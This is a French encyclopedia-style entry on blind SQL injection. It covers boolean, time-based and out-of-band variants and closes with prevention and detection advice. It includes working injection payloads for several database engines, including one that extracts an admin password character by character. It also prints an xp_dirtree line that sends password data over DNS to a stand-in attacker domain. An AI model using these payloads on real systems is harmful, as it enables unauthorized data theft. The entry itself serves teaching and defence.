Blind SQL Injection

Définition

La Blind SQL Injection (injection SQL aveugle) est une variante de l'injection SQL dans laquelle l'attaquant ne voit jamais directement le résultat de sa requête. L'application n'affiche ni les données extraites, ni les messages d'erreur du SGBD : elle se contente de renvoyer une page normale, une page d'erreur générique, ou rien du tout. L'information est alors inférée à partir de signaux indirects — variation du contenu de la réponse, code HTTP, ou temps de réponse du serveur.

La vulnérabilité sous-jacente est identique à celle d'une injection SQL classique : une entrée utilisateur est concaténée dans une requête SQL sans séparation entre code et données. Seule l'exfiltration change de méthode. Blind SQLi est référencée dans le CWE-89 et rattachée à la catégorie A03:2021 – Injection de l'OWASP Top 10.

Fonctionnement technique

L'attaquant transforme chaque question sur la base de données en une question binaire (« le premier caractère du mot de passe est-il supérieur à “m” ? ») puis lit la réponse dans un canal secondaire. Trois familles principales existent :

• Boolean-based (basée sur le contenu) : la page diffère selon que la condition injectée est vraie ou fausse. Une condition vraie affiche la fiche produit, une condition fausse affiche « Produit introuvable ».
• Time-based (basée sur le temps) : la réponse est toujours identique, mais l'attaquant force le SGBD à temporiser lorsque la condition est vraie. Un délai de 5 secondes = « vrai », une réponse immédiate = « faux ».
• Out-of-band (OAST) : lorsque ni le contenu ni le temps ne varient, on déclenche une requête DNS ou HTTP sortante depuis le serveur de base de données vers un domaine contrôlé par l'attaquant. C'est le canal de dernier recours, très efficace mais dépendant des règles de filtrage sortant.

Exemples concrets

Soit une requête vulnérable côté serveur :

SELECT * FROM produits WHERE id = '$id'

Une exploitation boolean-based consiste à injecter deux conditions et à comparer les pages obtenues :

• 1' AND '1'='1 → page produit affichée (condition vraie)
• 1' AND '1'='2 → page vide (condition fausse)

À partir de ce différentiel, on extrait les données caractère par caractère :

1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)>'m'--

Une recherche dichotomique permet de déterminer chaque caractère en environ 7 requêtes ; un hachage de 32 caractères demande donc quelques centaines de requêtes — trivial à automatiser.

En time-based, la charge dépend du moteur :

• MySQL : 1' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
• PostgreSQL : 1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
• Microsoft SQL Server : 1'; IF (1=1) WAITFOR DELAY '0:0:5'--
• Oracle : 1' AND 1=(SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM dual)--

En out-of-band sous SQL Server, une résolution DNS suffit à exfiltrer une donnée dans le sous-domaine interrogé : exec master..xp_dirtree '\\'+(SELECT TOP 1 password FROM users)+'.attaquant.tld\a'.

L'outil de référence pour automatiser ces techniques est sqlmap, avec des options telles que --technique=BT (boolean, time) ou --time-sec pour ajuster le seuil de latence.

Liens avec d'autres concepts

• Injection SQL classique / UNION-based : même faille, canal de restitution direct. Le passage en aveugle est souvent la conséquence d'une gestion d'erreurs correcte… mais d'une requête toujours vulnérable.
• Second-order SQL injection : la charge est stockée puis exécutée dans un contexte ultérieur, ce qui la rend presque toujours aveugle.
• Canal auxiliaire (side channel) : le time-based relève de la même logique que les attaques temporelles cryptographiques.
• SSRF et exfiltration DNS : les techniques OAST partagent l'infrastructure d'écoute (Burp Collaborator, interactsh) avec ces classes de vulnérabilités.
• WAF et détection : une Blind SQLi génère un volume de requêtes anormal sur un même paramètre — signal exploitable en supervision SIEM.

Bonnes pratiques de prévention

• Requêtes paramétrées (prepared statements) systématiques : c'est la seule contre-mesure structurelle. Le SGBD reçoit le plan de requête avant les données, l'injection devient impossible.
• Allow-list pour les fragments non paramétrables (noms de colonnes, sens de tri ASC/DESC) : n'accepter qu'une valeur issue d'une liste fermée.
• Moindre privilège : compte applicatif dédié, sans droits FILE, xp_cmdshell, ni accès aux tables système, afin de limiter la portée d'une exploitation réussie.
• Timeouts de requête côté SGBD et applicatif : ils cassent l'efficacité des charges SLEEP().
• Filtrage du trafic sortant (DNS et HTTP) depuis le serveur de base de données pour neutraliser le canal out-of-band.
• Détection : alerter sur les pics de requêtes sur un paramètre unique et sur les temps de réponse anormalement longs et réguliers.
• Tests : intégrer un scanner DAST au pipeline CI/CD et vérifier explicitement les variantes aveugles lors des tests d'intrusion, un scan « sans erreur SQL affichée » ne valant pas absence de vulnérabilité.